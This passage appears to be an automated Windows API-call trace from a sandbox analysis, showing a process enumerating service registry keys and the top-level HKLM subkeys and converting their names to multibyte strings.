lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="luafv", lpUsedDefaultChar=0x0) returned 5 [0227.188] RegEnumKeyW (in: hKey=0x150, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0227.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mcx2svc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0227.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mcx2svc", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mcx2svc", lpUsedDefaultChar=0x0) returned 7 [0227.188] RegEnumKeyW (in: hKey=0x150, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0227.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasas", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0227.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasas", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="megasas", lpUsedDefaultChar=0x0) returned 7 [0227.188] RegEnumKeyW (in: hKey=0x150, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0227.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasr", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0227.188] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="megasr", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="megasr", lpUsedDefaultChar=0x0) returned 6 [0227.189] RegEnumKeyW (in: hKey=0x150, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0227.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sharepoint workspace audit service", cchWideChar=44, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 44 [0227.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft sharepoint workspace audit service", cchWideChar=44, lpMultiByteStr=0x21f1d18, cbMultiByte=44, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft sharepoint workspace audit service", lpUsedDefaultChar=0x0) returned 44 [0227.189] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0227.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmcss", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0227.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmcss", cchWideChar=5, lpMultiByteStr=0x21f1ad8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmcss", lpUsedDefaultChar=0x0) returned 5 [0227.189] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0227.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="modem", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0227.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="modem", cchWideChar=5, lpMultiByteStr=0x21f1d18, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="modem", lpUsedDefaultChar=0x0) returned 5 [0227.189] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0227.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="monitor", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0227.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="monitor", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="monitor", lpUsedDefaultChar=0x0) returned 7 [0227.189] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0227.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouclass", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0227.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouclass", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mouclass", lpUsedDefaultChar=0x0) returned 8 [0227.189] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0227.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouhid", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0227.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mouhid", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mouhid", lpUsedDefaultChar=0x0) returned 6 [0227.190] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0227.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mountmgr", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0227.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mountmgr", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mountmgr", lpUsedDefaultChar=0x0) returned 8 [0227.190] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0227.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mozillamaintenance", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0227.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mozillamaintenance", cchWideChar=18, lpMultiByteStr=0x21f1ad8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mozillamaintenance", lpUsedDefaultChar=0x0) returned 18 [0227.190] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0227.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpio", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0227.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpio", cchWideChar=4, lpMultiByteStr=0x21f1d18, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpio", lpUsedDefaultChar=0x0) returned 4 [0227.190] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0227.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpsdrv", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0227.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpsdrv", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpsdrv", lpUsedDefaultChar=0x0) returned 6 [0227.190] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0227.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpssvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0227.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mpssvc", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mpssvc", lpUsedDefaultChar=0x0) returned 6 [0227.190] RegEnumKeyW (in: hKey=0x150, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0227.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxdav", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0227.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxdav", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxdav", lpUsedDefaultChar=0x0) returned 6 [0227.191] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0227.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0227.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxsmb", lpUsedDefaultChar=0x0) returned 6 [0227.191] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0227.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb10", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0227.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb10", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxsmb10", lpUsedDefaultChar=0x0) returned 8 [0227.191] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0227.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb20", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0227.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mrxsmb20", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mrxsmb20", lpUsedDefaultChar=0x0) returned 8 [0227.191] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0227.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msahci", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0227.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msahci", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msahci", lpUsedDefaultChar=0x0) returned 6 [0227.191] RegEnumKeyW (in: hKey=0x150, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0227.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdsm", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0227.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdsm", cchWideChar=5, lpMultiByteStr=0x21f1d18, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdsm", lpUsedDefaultChar=0x0) returned 5 [0227.192] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0227.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0227.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc", cchWideChar=5, lpMultiByteStr=0x21f1ad8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc", lpUsedDefaultChar=0x0) returned 5 [0227.192] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0227.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 3.0.0.0", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0227.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 3.0.0.0", cchWideChar=20, lpMultiByteStr=0x21f1d18, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc bridge 3.0.0.0", lpUsedDefaultChar=0x0) returned 20 [0227.192] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0227.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 4.0.0.0", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0227.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msdtc bridge 4.0.0.0", cchWideChar=20, lpMultiByteStr=0x21f1ad8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msdtc bridge 4.0.0.0", lpUsedDefaultChar=0x0) returned 20 [0227.192] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0227.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0227.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msfs", cchWideChar=4, lpMultiByteStr=0x21f1d18, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msfs", lpUsedDefaultChar=0x0) returned 4 [0227.192] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0227.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mshidkmdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0227.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mshidkmdf", cchWideChar=9, lpMultiByteStr=0x21f1ad8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mshidkmdf", lpUsedDefaultChar=0x0) returned 9 [0227.192] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0227.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msisadrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0227.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msisadrv", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msisadrv", lpUsedDefaultChar=0x0) returned 8 [0227.193] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0227.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiscsi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0227.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiscsi", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msiscsi", lpUsedDefaultChar=0x0) returned 7 [0227.193] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0227.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiserver", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0227.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="msiserver", cchWideChar=9, lpMultiByteStr=0x21f1d18, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msiserver", lpUsedDefaultChar=0x0) returned 9 [0227.193] RegOpenKeyExW (in: hKey=0x150, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0227.193] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0227.193] RegCloseKey (hKey=0x150) returned 0x0 [0227.193] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0227.193] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0227.193] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0227.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0227.193] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1ad8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0227.193] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.193] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.193] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.193] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0227.193] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0227.193] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0227.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0227.194] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0227.194] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.194] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0227.194] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0227.194] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0227.194] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0227.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0227.194] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1ad8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0227.194] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.194] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0227.194] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0227.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0227.194] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0227.194] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.194] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0227.194] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0227.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0227.194] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0227.194] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.194] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0227.194] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0227.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0227.195] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0227.195] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0227.195] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0227.195] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0227.195] RegCloseKey (hKey=0x80000002) returned 0x0 [0227.195] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, 